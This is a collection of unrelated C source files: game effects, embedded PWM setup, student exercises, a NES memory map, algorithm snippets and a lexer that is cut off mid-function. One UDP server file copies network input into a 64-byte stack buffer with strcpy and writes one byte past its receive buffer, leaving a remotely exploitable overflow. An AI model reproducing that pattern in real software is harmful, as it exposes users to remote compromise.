EffectVar(DrawResourceStartEdgeY, target, effectNumber) = 0;
EffectVar(DrawResourcePreviousEdgeX, target, effectNumber) = size;
EffectVar(DrawResourcePreviousEdgeY, target, effectNumber) = 0;
EffectVar(DrawResourceDrawingCycles, target, effectNumber) = drawingCycles;
if(drawingCycles == 0) {
EffectVar(DrawResourceDrawingCycles, target, effectNumber) = DrawResourceStandardDrawingCycles;
}
}
}
global func FxDrawResourceTimer(object target, int effectNumber, int effectTime) {
var materialIndex = EffectVar(DrawResourceMaterialIndex, target, effectNumber);
var material = Format("%s-%s", MaterialName(materialIndex), EffectVar(DrawResourceMaterialTexture, target, effectNumber));
var tunnelBackground = EffectVar(DrawResourceTunnelBackground, target, effectNumber);
var centreX = EffectVar(DrawResourceCentreX, target, effectNumber);
var centreY = EffectVar(DrawResourceCentreY, target, effectNumber);
var previousX = EffectVar(DrawResourcePreviousEdgeX, target, effectNumber);
var previousY = EffectVar(DrawResourcePreviousEdgeY, target, effectNumber);
var result = FX_OK;
var size, currentX, currentY;
if(effectTime < EffectVar(DrawResourceDrawingCycles, target, effectNumber) * 360 / DrawResourceAngularRate) {
size = EffectVar(DrawResourceSize, target, effectNumber);
size = BoundBy(size + RandomX(-DrawResourceSizeChange, DrawResourceSizeChange), EffectVar(DrawResourceMinSize, target, effectNumber), EffectVar(DrawResourceMaxSize, target, effectNumber));
currentX = Cos(effectTime * DrawResourceAngularRate, size);
currentY = Sin(effectTime * DrawResourceAngularRate, size) / 2;
} else {
// Make start and end fit together
size = EffectVar(DrawResourceStartEdgeX, target, effectNumber);
currentX = EffectVar(DrawResourceStartEdgeX, target, effectNumber);
currentY = EffectVar(DrawResourceStartEdgeY, target, effectNumber);
result = FX_Execute_Kill;
}
EffectVar(DrawResourcePreviousEdgeX, target, effectNumber) = currentX;
EffectVar(DrawResourcePreviousEdgeY, target, effectNumber) = currentY;
EffectVar(DrawResourceSize, target, effectNumber) = size;
DrawMaterialQuad(material, centreX, centreY, centreX + previousX, centreY + previousY, centreX + currentX, centreY + currentY, centreX, centreY, tunnelBackground);
var particleMinSize = 300;
var particleMaxSize = EffectVar(DrawResourceMaxSize, target, effectNumber) * 31;
var particleMinSpeed = 30;
var particleMaxSpeed = EffectVar(DrawResourceMaxSize, target, effectNumber) * 50 / 65;
var particleSize = RandomX(particleMinSize, particleMaxSize);
var particleSpeed = particleMinSpeed + (particleMaxSize - particleSize) * (particleMaxSpeed - particleMinSpeed) / (particleMaxSize - particleMinSize);
var particleMoveAngle = Random(360);
var particleSpeedX = Cos(particleMoveAngle, particleSpeed);
var particleSpeedY = Sin(particleMoveAngle, particleSpeed);
CreateParticle("PSpark", centreX, centreY, particleSpeedX, particleSpeedY, particleSize, RGBa(255, 255, 255, 100));
return result;
}
|
C
|
/* File: mesinkata.h */
/* Definisi Mesin Kata: Model Akuisisi Versi I */
#ifndef __MESINKATA_H__
#define __MESINKATA_H__
#include "boolean.h"
#include "mesinkar.h"
#include "STATE.h"
#define NMax 50
#define BLANK ' '
#define ENTER '\n'
typedef struct {
char TabKata[NMax+1]; /* container penyimpan kata, indeks yang dipakai [1..NMax] */
int Length;
} Kata;
/* State Mesin Kata */
extern boolean EndKata;
extern Kata CKata;
void IgnoreBlank();
void STARTFILE();
/* Mengabaikan satu atau beberapa BLANK
I.S. : CC sembarang
F.S. : CC ≠ BLANK atau CC = MARK */
void TulisKata(Kata K);
/*I.S K terdefinisi
F.S K dituliskan ke layar pengguna
MENULIS KATA, PEMAKAIAN LEBIH UNTUK DEBUGGING MESINKATA DKK*/
void STARTKATA();
/* I.S. : CC sembarang
F.S. : EndKata = true, dan CC = MARK;
atau EndKata = false, CKata adalah kata yang sudah diakuisisi,
CC karakter pertama sesudah karakter terakhir kata */
void STARTKATALOAD();
/*Proses membaca kata dari hasil LoadFile */
/* I.S. : CC sembarang
F.S. : EndKata = true, dan CC = MARK;
atau EndKata = false, CKata adalah kata yang sudah diakuisisi,
CC karakter pertama sesudah karakter terakhir kata */
void STARTSTDKATA();
/*UNTUK MEMBACA COMMAND DARI KEYBOARD*/
/* I.S Pita kata terdefinisi */
/* F.S Kata ENTER COMMAND inputan user terbaca dan terdefinisi */
void ADVKATA();
/* I.S. : CC adalah karakter pertama kata yang akan diakuisisi
F.S. : CKata adalah kata terakhir yang sudah diakuisisi,
CC adalah karakter pertama dari kata berikutnya, mungkin MARK
Jika CC = MARK, EndKata = true.
Proses : Akuisisi kata menggunakan procedure SalinKata */
boolean IsKataSama (Kata K1, Kata K2);
void SalinKata();
/* Mengakuisisi kata, menyimpan dalam CKata
I.S. : CC adalah karakter pertama dari kata
F.S. : CKata berisi kata yang sudah diakuisisi;
CC = BLANK atau CC = MARK;
CC adalah karakter sesudah karakter terakhir yang diakuisisi.
Jika panjang kata melebihi NMax, maka sisa kata "dipotong" */
void SaveFile(STATE s, char nama[]);
/*I.S s terdefinisi dan merupakan STATE di tengah permainan
F.S terbentuk file bernama nama[] yang berisi data dari s*/
void LoadFile(STATE *s);
/*I.S diminta nama file untuk di load
F.S dibuka pita untuk mengeload dan pita ditempatkan pada karakter pertama file tsb*/
void LoadSafeFile(STATE *s);
/*I.S filename yang diminta di STARTKATALOAD() terisi hasil save
F.S s berisi data STATE permainan sesuai filename*/
void PrintState(STATE S);
/* I.S State belom tercetak ke layar, State terdefinisi */
/* F.S State sudah tercetak ke layar */
/* Spesifikasi state : besar peta, bangunan, lokasi, dan milik */
#endif
|
C
|
#include "pwm.h"
//pwm百分比
u8 pwm=50;
/*
* pwm初始化
*/
void PWM_Init(void)
{
GPIO_InitTypeDef GPIO_PWM;
TIM_TimeBaseInitTypeDef TIM_BasePwm;
TIM_OCInitTypeDef TIM_OCPwm;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA,ENABLE);
GPIO_PWM.GPIO_Pin=PWM_PORT;
GPIO_PWM.GPIO_Mode=GPIO_Mode_AF_PP;
GPIO_PWM.GPIO_Speed=GPIO_Speed_50MHz;
GPIO_Init(PWM_GPIO,&GPIO_PWM);
TIM_BasePwm.TIM_Period=PWM_PERIOD;
TIM_BasePwm.TIM_Prescaler=PWM_PRES;
TIM_BasePwm.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_BasePwm.TIM_CounterMode=TIM_CounterMode_Up;
TIM_TimeBaseInit(TIM3,&TIM_BasePwm);
TIM_OCPwm.TIM_OCMode=TIM_OCMode_PWM1;
TIM_OCPwm.TIM_OutputState=TIM_OutputState_Enable;
TIM_OCPwm.TIM_Pulse=PWM_PERIOD / 100 * pwm;
TIM_OCPwm.TIM_OCPolarity=TIM_OCPolarity_High;
TIM_OC1Init(TIM3,&TIM_OCPwm);
TIM_OC1PreloadConfig(TIM3,TIM_OCPreload_Enable);
TIM_ARRPreloadConfig(TIM3,ENABLE);
TIM_Cmd(TIM3,ENABLE);
}
/*
* pwm输出
* 参数为百分比
*/
void PWM_Out(u8 val)
{
if(val > 100)
{
val = 100;
}
pwm = val;
TIM3->CCR1 = PWM_PERIOD / 100 * pwm;
}
/*
* 得到当前pwm百分比
*/
u8 PWM_Level()
{
return pwm;
}
|
C
|
/***************************************
* EECS2031M - Lab3
* Author: Hussain, Sayeda
* Email: sayedah@my.yorku.ca
* eecs_username: sayedah
* York Student #: 215427214
****************************************/
#include <stdio.h>
#define SIZE 16
void printBinary(short int);
/*counting digits*/
int main () {
int c, i,index;
short flags = 0;
printf("flags: ");printBinary(flags); printf("\n\n");
while ((c = getchar()) != EOF) {
if (c >= '0' && c <= '9'){ // if c is a digit with numerical value x, turn bit x of flags on
int num = c - '0';
flags = flags | (1 << num);
}
}
printf("\nflags: "); printBinary(flags); printf("\n");
// output method 1
for(i=0; i<=9; i++) {
int check = flags & (1 << i); // is bit i is on? 0 or 1
if ( check ) // check == 1
printf("%d: %s\n", i, "yes");
else printf("%d: %s\n", i, "no");
}
// output2 method 2
printf("------------------\n");
for(i=0; i<=9; i++) {
if ( (flags >> i) & 1) // if bit i is on
printf("%d: yes\n", i);
else printf("%d: no\n", i);
}
return 1;
}
void printBinary(short int n ){
//printf("binary: ");
int cou = SIZE-1;
int k[SIZE]={0};
while (n) {
if (n & 1)
k[cou]=1; //printf("1");
else
k[cou]=0; //printf("0");
n >>= 1;
cou--;
}
int i=0;
for(; i< SIZE;i++)
{
printf("%d", k[i]);
if ((i+1)%8==0)
{
printf(" ");
}
}
}
|
C
|
#include <stdio.h>
int main()
{
unsigned int x = 0x1BC5; /* x = 0001 1011 1100 0101 */
unsigned int y = 0X3A0D; /* y = 0011 1010 0000 1101 */
unsigned int z;
printf("x=%X\ny=%X\n",x,y);
z = x & y; /* z = 0001 1010 0000 0101 */
printf("\nx VE y = %X",z); /* z = 0x1A05 */
z = x | y; /* z = 0011 1011 1100 1101 */
printf("\nx VEYA y = %X",z); /* z = 0x3BCD */
z = x ^ y; /* 0010 0001 1100 1000 */
printf("\nx OZEL VEYA (EXOR) y = %X",z); /* z= 0x21C8 */
getch();
}
|
C
|
/*
* UdpServer.c
*
* Created on: Jul 11, 2019
* Author: 95776
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define SERVER_PORT 11122
void extract_name(char* buffer) {
unsigned long len = strlen(buffer);
int i = (int)len - 1;
for (; i >= 0; i--) {
if (!buffer[i]) {
break;
}
}
for (int j = 0; j < len - i; j++) {
buffer[j] = buffer[i + j + 1];
}
char temp[64];
strcpy(temp, buffer);
strcpy(buffer, "Hello, ");
strcat(buffer, temp);
strcat(buffer, ", nice to meet you.");
}
int main() {
int server_sockfd;
int client_sockfd;
long recv_len;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
socklen_t sin_size = sizeof(struct sockaddr_in);
char buffer[BUFFER_SIZE];
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(SERVER_PORT);
if ((server_sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
printf("Failed to create socket.\n");
return -1;
}
if (bind(server_sockfd, (struct sockaddr*) & server_addr, sizeof(struct sockaddr_in)) < 0) {
printf("Failed to bind socket.\n");
return -1;
}
while (1) {
if ((recv_len = recvfrom(server_sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*) &client_addr, &sin_size)) > 0) {
buffer[recv_len] = 0;
printf("Recieve message from client: %s\n", buffer);
extract_name(buffer);
sendto(server_sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*) & client_addr, sin_size);
}
}
return 0;
}
|
C
|
#include <stdint.h>
#include "memory.h"
#include "memoryMappedIO.h"
#include "registers.h"
#include "MMC1.h"
extern struct registers regs;
// Declaring components of CPU memory.
uint8_t ram[0x0800];
extern MemoryMappedRegisters ppuRegisters;
uint8_t apu_io_reg[0x0020];
uint8_t exp_rom[0x1FDF];
uint8_t sram[0x2000];
uint8_t prg_rom_lower[0x4000];
uint8_t prg_rom_upper[0x4000];
/**
* Obtains a byte of data from the CPU memory.
*
* @param addr: Address of data in the CPU.
*
* @returns: Value at address in CPU memory.
*/
uint8_t readByte(uint16_t addr) {
// Mirroring occurs from $2000-$2007 to $2008-$4000.
if (addr >= 0x2008 && addr < 0x4000) {
addr = 0x2000 + (addr % 0x0008);
}
// Mirroring occurs from $0000-$07FF to $0800-$1FFF.
if (addr < 0x2000) {
addr = addr % 0x800;
// Addressing the RAM of CPU memory.
return ram[addr];
}
// Addressing the PPU registers in CPU memory.
else if (addr < 0x2008) {
switch (addr) {
case 0x2002:
ppuRegisters.PPUWriteLatch = 0;
uint8_t val = ppuRegisters.PPUStatus;
setVerticalBlankStart(0);
return val;
case 0x2004:
return ppuRegisters.OAMData;
case 0x2007:
{
uint8_t val = ppuRegisters.PPUData;
ppuRegisters.PPUWriteLatch += getVRAMIncrement() ? 32 : 1;
return val;
}
default:
printf("Error: Unexpected address to memory mapper I/O registers.\n");
exit(1);
}
}
// Addressing the Audio Processing registers in CPU memory.
else if (addr < 0x4020) {
return apu_io_reg[addr - 0x4000];
}
// Addressing the Expansion ROM registers in CPU memory.
else if (addr < 0x6000) {
return exp_rom[addr - 0x4020];
}
// Addressing the SRAM in CPU memory.
else if (addr < 0x8000){
return sram[addr - 0x6000];
}
// Addressing the lower bank of PRG ROM in CPU memory.
else if (addr < 0xC000) {
return prg_rom_lower[addr - 0x8000];
}
// Addressing the upper bank of PRG ROM in CPU memory.
else {
return prg_rom_upper[addr - 0xC000];
}
}
/**
* Quick read access to zero page memory in the CPU RAM.
*
* @param addr: Address to the desired value in CPU RAM.
*
* @returns: Value in CPU RAM based on given address.
*/
uint8_t readZeroPage(uint8_t addr) {
return ram[addr];
}
/**
* Write a byte into CPU memory.
*
* @param addr: Desired address in CPU memory.
* @param val: Desired value to write into CPU memory.
*/
void writeByte (uint16_t addr, uint8_t val) {
// Mirroring occurs from $2000-$2007 to $2008-$4000.
if (addr >= 0x2008 && addr < 0x4000) {
addr = 0x2000 + (addr % 0x0008);
}
// Mirroring occurs from $0000-$07FF to $0800-$1FFF.
if (addr < 0x2000) {
addr = addr % 0x0800;
// Write to CPU RAM.
ram[addr] = val;
}
// Write to PPU registers in CPU memory.
else if (addr < 0x2008) {
switch(addr) {
case 0x2000:
ppuRegisters.PPUControl = val;
break;
case 0x2001:
ppuRegisters.PPUMask = val;
break;
case 0x2003:
OAMAddressWrite(val);
break;
case 0x2004:
OAMDataWrite(val);
break;
case 0x2005:
scrollWrite(val);
break;
case 0x2006:
addressWrite(val);
break;
case 0x2007:
dataWrite(val);
break;
default:
printf("Error: Unexpected address to memory mapper I/O registers.\n");
exit(1);
}
}
// Write to Audio Processing registers in CPU memory.
else if (addr < 0x4020) {
apu_io_reg[addr - 0x4000] = val;
}
// Write to Expansion ROM in CPU memory.
else if (addr < 0x6000) {
exp_rom[addr - 0x4020] = val;
}
// Write to SRAM in CPU memory.
else if (addr < 0x8000){
sram[addr - 0x6000] = val;
}
// Write to PRG ROM bank(s).
// This actually causes a serial write with MMC1.
else {
mmc1Write(addr, val);
}
}
/**
* Quick write access to zero page memory in the CPU RAM.
*
* @param addr: Address to the desired value in CPU RAM.
* @param val: Value that should be written to the
* specified address in the CPU RAM.
*/
void writeZeroPage(uint8_t addr, uint8_t val) {
ram[addr] = val;
}
/**
* Decrements the stack pointer and
* removes the top element from the CPU stack
*
* @returns: Top element on the CPU stack.
*/
uint8_t popStack(void) {
return ram[++regs.sp + 0x100];
}
/**
* Places a byte on top of the CPU stack and
* increments the stack pointer.
*
* @param val: Value to place on top of the CPU stack.
*/
void pushStack(uint8_t val) {
ram[regs.sp-- + 0x100] = val;
}
|
C
|
/**
* 어떤 수열을 만들어 내는 다음과 같은 알고리즘을 생각해보자. 어떤 정수 n에서 시작해 n이 짝수 이면
* 2로 나누고, 홀수면 3을 곱한 다음 1을 더한다. 이렇게 해서 새로 만들어진 숫자를 n으로 놓고 n=1이
* 될 때까지 같은 작업을 계속 반복한다. 예를 들어, n = 22이면 다음과 같은 수열이 만들어진다.
* 22 11 34 17 52 26 13 40 20 10 5 16 8 4 2 1
* 아직 증명되지 않았지만, 모든 정수 n에 대해 이알고리즘을 적용 시키면 결국에는 n = 1에 이르게 되는 것으로
* 추측된다. 그리고 이 가설은 적어도 1,000,000까지의 정수에 대해서 참이다.
* n이라는 값이 입력 되었을 때 1이 나올 때까지 만들어진 수의 개수(1포함)를 n의 사이클 길이라고 한다.
* 위에 있는 수열을 예로 들면 22의 사이클 길이는 16이다. i와j라는 두 개의 수가 주어졌을 때 i와 j사이의
* 모든 수(i,j 포함)에 대해 최대 사이클 길이를 구하라
*
* 입력
* 입력은 일련의 정수 쌍 i와 j로 구성되며 한 줄에 한쌍의 수가 입력된다. 모든 정수는 1,000,000보다 작고
* 0보다 크다.
* 출력
* 각 정수쌍 i와j에 대해 i와j를 입력된 순서대로 출력하고 i와j사이(i,j 포함)의 최대 사이클 길이를 출력한다.
* 이 세 수는 각각 하나씩의 스페이스로 구분 되어햐 하며 세수가 모두 한 줄에 출력되어야 하고
* 입력된 각 줄마다 한 줄 씩 출력 해야한다.
*
* 입력 예
* 1 10 1 10 20
* 100 200 100 200 125
* 201 210 201 210 89
* 900 1000 900 1000 174
*/
#include <stdio.h>
int main(int argc, char **argv)
{
long lbound, ubound, lbOrg, ubOrg, temp;
long i, j, length, max_length;
while(scanf("%ld %ld", &lbound, &ubound) == 2){
lbOrg = lbound;
ubOrg = ubound;
if(lbound > ubound)
{
temp = lbound;
lbound = ubound;
ubound = temp;
}
max_length = 0;
for(i = lbound; i <= ubound; i++)
{
j = i;
length = 1;
while(j != 1){
if(j&1)
{
j = j *3+1;
length++;
}
while(!(j&1))
{
j >>= 1;
length++;
}
}
if(length > max_length)
{
max_length = length;
}
}
printf("%ld %ld %ld\r\n", lbOrg, ubOrg, max_length);
}
return 1;
}
|
C
|
#include <stdio.h>
// Utility function to find minimum of two integers
int max (int x, int y)
{
return (x > y) ? x : y;
}
// This code handles the case of both array. This is noyt just about choosing one array. What happens is we take iterators to both the arrays then we move them until they reach common elements. obousily if one array reached to common element then other array will elements will be lesser then the element of other array. This will cause summing of other array.
// Function to find maximum sum path in two given arrays
// Below code is similar to merge routine of mergesort algorithm
int maxSum(int X[], int Y[], int m, int n)
{
int sum = 0;
int sum_x = 0, sum_y = 0;
// i and j denotes current index of X and Y respectively
int i = 0, j = 0;
// loop till X and Y are not empty
while (i < m && j < n)
{
// to handle duplicate elements in X
while (i < m-1 && X[i] == X[i+1])
sum_x += X[i++];
// to handle duplicate elements in Y
while (j < n-1 && Y[j] == Y[j+1])
sum_y += Y[j++];
// if current element of Y is less than current element of X
if (Y[j] < X[i])
{
sum_y += Y[j];
j++;
}
// if current element of X is less than current element of Y
else if (X[i] < Y[j])
{
sum_x += X[i];
i++;
}
else // if (X[i] == Y[j])
{
// consider maximum sum and include value of current cell
sum += max(sum_x, sum_y) + X[i];
// move both indices by 1 position
i++, j++;
// reset both sums
sum_x = 0, sum_y = 0;
}
}
// process remaining elements of X (if any)
while (i < m)
sum += X[i++];
// process remaining elements of Y (if any)
while (j < n)
sum += Y[j++];
return sum;
}
// main function
int main()
{
int X[] = { 3, 6, 7, 8, 10, 12, 15, 18, 100 };
int Y[] = { 1, 2, 3, 5, 7, 9, 10, 11, 15, 16, 18, 25, 50 };
int m = sizeof(X)/sizeof(X[0]);
int n = sizeof(Y)/sizeof(Y[0]);
printf("Maximum sum is %d", maxSum(X, Y, m, n));
return 0;
}
|
C
|
#include "stack.h"
offsetStack* initOffsetStack(){
offsetStack *tmp = (offsetStack*) malloc(sizeof(offsetStack));
tmp->next = NULL;
return tmp;
}
int isEmptyOffset(offsetStack *root){
if(root == NULL)
return 1;
else
return 0;
}
unsigned int peekOffset(offsetStack *root){
if(isEmptyOffset(root))
return -1;
else
return root->numoflocals;
}
void pushOffset(offsetStack **root, unsigned int offset){
offsetStack *newNode = (offsetStack*) malloc(sizeof(offsetStack));
newNode->numoflocals = offset;
newNode->next = *root;
*root = newNode;
}
unsigned int popOffset(offsetStack **root){
unsigned int offset;
if(isEmptyOffset(*root)){
return -1;
}
else{
offset = peekOffset(*root);
*root = (*root)->next;
return offset;
}
}
//-------------------------------------------------------------------
counterStack* initCounterStack(){
counterStack *tmp = (counterStack*) malloc(sizeof(counterStack));
tmp->next = NULL;
return tmp;
}
int isEmptyCounter(counterStack *root){
if(root == NULL)
return 1;
else
return 0;
}
unsigned int peekCounter(counterStack *root){
if(isEmptyCounter(root)){
printf("Stack is empty\n");
return -1;
}
else{
return root->loopcounter;
}
}
void pushCounter(counterStack **root, unsigned int counter){
counterStack *newNode = (counterStack*) malloc(sizeof(counterStack));
newNode->loopcounter = counter;
newNode->next = *root;
*root = newNode;
//printf("%d pushed to stack\n", counter);
}
unsigned int popCounter(counterStack **root){
unsigned int counter;
if(isEmptyCounter(*root)){
return -1;
}
else{
counter = peekCounter(*root);
*root = (*root)->next;
return counter;
}
}
|
C
|
#include <stdio.h>
//################################################
//# Setup the tic marks for every 1/16 inch with #
//# different lengths depending on magnitude #
//################################################
int main() {
int n,h;
FILE *fp;
fp=fopen("inches.tex","w");
for(n=1;n<=191;n++) {
h=3.5;
if(n%2 == 0 && n%4 !=0)
h=7;
if(n%4 == 0 && n%8 !=0)
h=14;
if(n%8 == 0 && n%16 != 0)
h=21;
if(n%16 == 0) {
h=28;
fprintf(fp,"\\put {\\scriptsize %i} [t] at %5.2f -29\n",n/16,n*72.27/16.0);
}
fprintf(fp,"\\plot %5.2f 0 %5.2f %i /\n",n*72.27/16.0,n*72.27/16.0,-h);
}
fclose(fp);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include "incr_3Subseq.h"
bool impl1(int *nums, int size) {
int a = 0;
int b = 0;
int min = nums[0];
int second_min = nums[0];
int t1 = 0;
int t2 = 0;
for (int i = 0; i < size; ++i) {
if (nums[i] > second_min && second_min > min) {
printf("The result is [%d]:%d < [%d]:%d < [%d]:%d\n", a, min, b, second_min, i,nums[i]);
return true;
}
if (nums[i] > nums[t1] && (t1 == t2 || nums[i] < nums[t2])) {
t2 = i;
a = t1;
b = t2;
min = nums[t1];
second_min = nums[t2];
} else if (nums[i] < nums[t1]) {
t1 = i;
t2 = i;
}
}
printf("No Increasing-Triplet-Subsequence exists!\n");
return false;
}
int main(int argc, char **argv) {
impl1(test1, 6);
impl1(test2, 6);
impl1(test3, 3);
impl1(test4, 4);
impl1(test5, 7);
impl1(test6, sizeof(test6)/sizeof(int));
return 0;
}
|
C
|
#include <stdio.h>
struct Day
{
int year;
int month;
int day;
}s;
int main()
{
int days(int y, int m, int d);
int sum;
printf(":\n");
scanf("%d%d%d", &s.year, &s.month, &s.day);
sum = days(s.year, s.month, s.day);
printf("%d%d%d ǵ %d ", s.year, s.month, s.day, sum);
}
int days(int y, int m, int d)
{
int a[12] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
int i, s=0;
for ( i = 0; i < m-1; i++)
{
s += a[i];
}
s += d;
if ( ( y%4==0 && y%100!=0 || y%400==0 ) && (m>2) )
{
s += 1;
}
return s;
}
|
C
|
#include <iostream>
#include <fstream>
#include <string>
#include <sstream>
#include <list>
#include <numeric>
#include "trimData.C" //File with function trim() that executes bash script
//trimData.sh that cuts the dataset I've chosen to not contain any text.
using namespace std;
#include <TF1.h> // 1d function class
#include <TH1.h> // 1d histogram classes
#include <TStyle.h> // style object
#include <TMath.h> // math functions
#include <TCanvas.h> // canvas object
void each_day(Int_t year){
Int_t dayCounter = 1;
Int_t dayCounter1 = -1;
string strReadYear;
string strMonth;
string strDay;
string strHour;
string strMinute;
string strSecond;
string strTemp;
Int_t readYear = -1;
Int_t month = -1;
Int_t day = -1;
Int_t hour = -1;
Int_t minute = -1;
Int_t second = -1;
Double_t temp = -1.0;
vector<double> Templist;
vector<double> avgList;
string Ymd = "placeholder";
string ymd = "datestring";
Double_t avgTemp = 0.0;
Double_t lastTemp = 0.0;
Int_t lastDay = -1;
string helpString; //help variable
//create histogram that I will fill with data values
TH1D* hDat = new TH1D("hDat", "; Day of year; Temperature [#circC]",
366, 0, 366);
trim(); //calling of function trim() that creates a new textfile
//Lund.csv without any text in it.
ifstream file("Lund.csv");
while(file){
//using getline to extract each variable as a string
getline(file, strReadYear, '-');
getline(file, strMonth, '-');
getline(file, strDay, ';');
getline(file, strHour, ':');
getline(file, strMinute, ':');
getline(file, strSecond, ';');
getline(file, strTemp, '\n');
//object from the class stringstream
//making strReadYear into an integer readYear
//integers declared in the beginning of document
stringstream str1(strReadYear);
str1 >> readYear;
//converting strMonth into an integer month
stringstream str2(strMonth);
str2 >> month;
//converting strDay into an integer day
stringstream str3(strDay);
str3 >> day;
//converting strHour into an integer hour
stringstream str4(strHour);
str4 >> hour;
//converting strMinute into an integer minute
stringstream str5(strMinute);
str5 >> minute;
//converting strSecond into an integer second
stringstream str6(strSecond);
str6 >> second;
//converting strTemp into a double temp
stringstream str7(strTemp);
str7 >> temp;
//if the entered year is the same as the year being read of the file, enter if statement
if(year==readYear){
ymd = strReadYear + strMonth + strDay;
//if the date being read is the same as the previous read date, enter if statement
if(ymd==Ymd){
Templist.push_back(temp); //temperatures of the same day is added to a list
}
//when the next date is read enter else where the average temperature for the previous
//day is calculated and the list of temparatures is cleared and to which the current
//date's temperature is added.
else{
avgTemp=accumulate(Templist.begin(), Templist.end(), 0.0)/(Templist.size());
Int_t len = Templist.size();
for(Int_t i = 0; i < len; ++i){
avgList.push_back(pow((Templist[i]-avgTemp), 2.0));
}
Templist.clear();
Templist.push_back(temp);
if(len != 0){
hDat->SetBinContent(dayCounter, avgTemp);
hDat->SetBinError(dayCounter, sqrt((1./len)*accumulate(avgList.begin(), avgList.end(), 0.0)));
avgList.clear();
dayCounter++;
}
}
Ymd = ymd;
}
}
file.close();
//calculate avgTemp for the last read date
avgTemp=accumulate(Templist.begin(), Templist.end(), 0.0)/(Templist.size());
for(unsigned int i = 0; i < Templist.size(); ++i){
avgList.push_back(pow((Templist[i]-avgTemp), 2.0));
}
hDat->SetBinContent(dayCounter, avgTemp);
hDat->SetBinError(dayCounter, sqrt((1./Templist.size())*accumulate(avgList.begin(), avgList.end(), 0.0)));
TCanvas* c2 = new TCanvas("c2", "TempEachDay", 1920, 1080);
hDat->SetLineWidth(2.5);
hDat->Draw();
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int edad ;
scanf("%d",&edad);
while(edad < 0 || edad > 100)
{
printf("La edad NO ES VALIDA");
scanf("%d",&edad);
}
printf("La edad es: %d",edad);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include "word.h"
int main() {
freopen("testfile.txt", "r", stdin);
freopen("output.txt", "w", stdout);
c = getchar();
while (1) {
while (isspace(c)) {
c = getchar();
}
if (c == EOF) break;
gettoken();
printf("%s %s\n", mark[word.type], word.content);
}
return 0;
}
void gettoken() {
if (isalpha(c) || c == '_') {
handle_IDENFR();
}
else if (isdigit(c)) {
handle_INTCON();
}
else if (c == '\'') {
handle_CHARCON();
}
else if (c == '\"') {
handle_STRCON();
}
else if (c == '+') {
word.type = 17;
strcpy(word.content, "+");
c = getchar();
}
else if (c == '-') {
word.type = 18;
strcpy(word.content, "-");
c = getchar();
}
else if (c == '*') {
word.type = 19;
strcpy(word.content, "*");
c = getchar();
}
else if (c == '/') {
word.type = 20;
strcpy(word.content, "/");
c = getchar();
}
else if (c == '<') {
c = getchar();
handle_less_than();
}
else if (c == '>') {
c = getchar();
handle_greater_than();
}
else if (c == '=') {
c = getchar();
handle_equal();
}
else if (c == '!') {
c = getchar();
if (c == '=') {
word.type = 26;
strcpy(word.content, "!=");
c = getchar();
}
else {
handle_error("!= error");
}
}
else if (c == ';') {
word.type = 28;
strcpy(word.content, ";");
c = getchar();
}
else if (c == ',') {
word.type = 29;
strcpy(word.content, ",");
c = getchar();
}
else if (c == '(') {
word.type = 30;
strcpy(word.content, "(");
c = getchar();
}
else if (c == ')') {
word.type = 31;
strcpy(word.content, ")");
c = getchar();
}
else if (c == '[') {
word.type = 32;
strcpy(word.content, "[");
c = getchar();
}
else if (c == ']') {
word.type = 33;
strcpy(word.content, "]");
c = getchar();
}
else if (c == '{') {
word.type = 34;
strcpy(word.content, "{");
c = getchar();
}
else if (c == '}') {
word.type = 35;
strcpy(word.content, "}");
c = getchar();
}
}
void handle_error(char err[]) {
printf("%s\n", err);
exit(0);
}
void handle_IDENFR() {
int i = 0;
s[i++] = c;
while ((c = getchar())) {
if (!isalnum(c) && c != '_') {
break;
}
s[i++] = c;
}
s[i] = '\0';
if (strcmp(s, "const") == 0) {
word.type = 4;
strcpy(word.content, "const");
}
else if (strcmp(s, "int") == 0) {
word.type = 5;
strcpy(word.content, "int");
}
else if (strcmp(s, "char") == 0) {
word.type = 6;
strcpy(word.content, "char");
}
else if (strcmp(s, "void") == 0) {
word.type = 7;
strcpy(word.content, "void");
}
else if (strcmp(s, "main") == 0) {
word.type = 8;
strcpy(word.content, "main");
}
else if (strcmp(s, "if") == 0) {
word.type = 9;
strcpy(word.content, "if");
}
else if (strcmp(s, "else") == 0) {
word.type = 10;
strcpy(word.content, "else");
}
else if (strcmp(s, "do") == 0) {
word.type = 11;
strcpy(word.content, "do");
}
else if (strcmp(s, "while") == 0) {
word.type = 12;
strcpy(word.content, "while");
}
else if (strcmp(s, "for") == 0) {
word.type = 13;
strcpy(word.content, "for");
}
else if (strcmp(s, "scanf") == 0) {
word.type = 14;
strcpy(word.content, "scanf");
}
else if (strcmp(s, "printf") == 0) {
word.type = 15;
strcpy(word.content, "printf");
}
else if (strcmp(s, "return") == 0) {
word.type = 16;
strcpy(word.content, "return");
}
else {
word.type = 0;
strcpy(word.content, s);
}
}
void handle_INTCON() {
int i = 0;
s[i++] = c;
while ((c = getchar())) {
if (!isdigit(c)) {
break;
}
s[i++] = c;
}
s[i] = '\0';
word.type = 1;
strcpy(word.content, s);
}
void handle_CHARCON() {
int i = 0;
c = getchar();
s[i++] = c;
s[i] = '\0';
word.type = 2;
strcpy(word.content, s);
c = getchar();
if (c != '\'') {
handle_error("handle_CHARCON error");
}
c = getchar();
}
void handle_STRCON() {
int i = 0;
while ((c = getchar())) {
if (c == '\"') {
break;
}
s[i++] = c;
}
s[i] = '\0';
word.type = 3;
strcpy(word.content, s);
if (c != '\"') {
handle_error("handle_STRCON error");
}
c = getchar();
}
void handle_less_than() {
if (c == '=') {
word.type = 22;
strcpy(word.content, "<=");
c = getchar();
}
else {
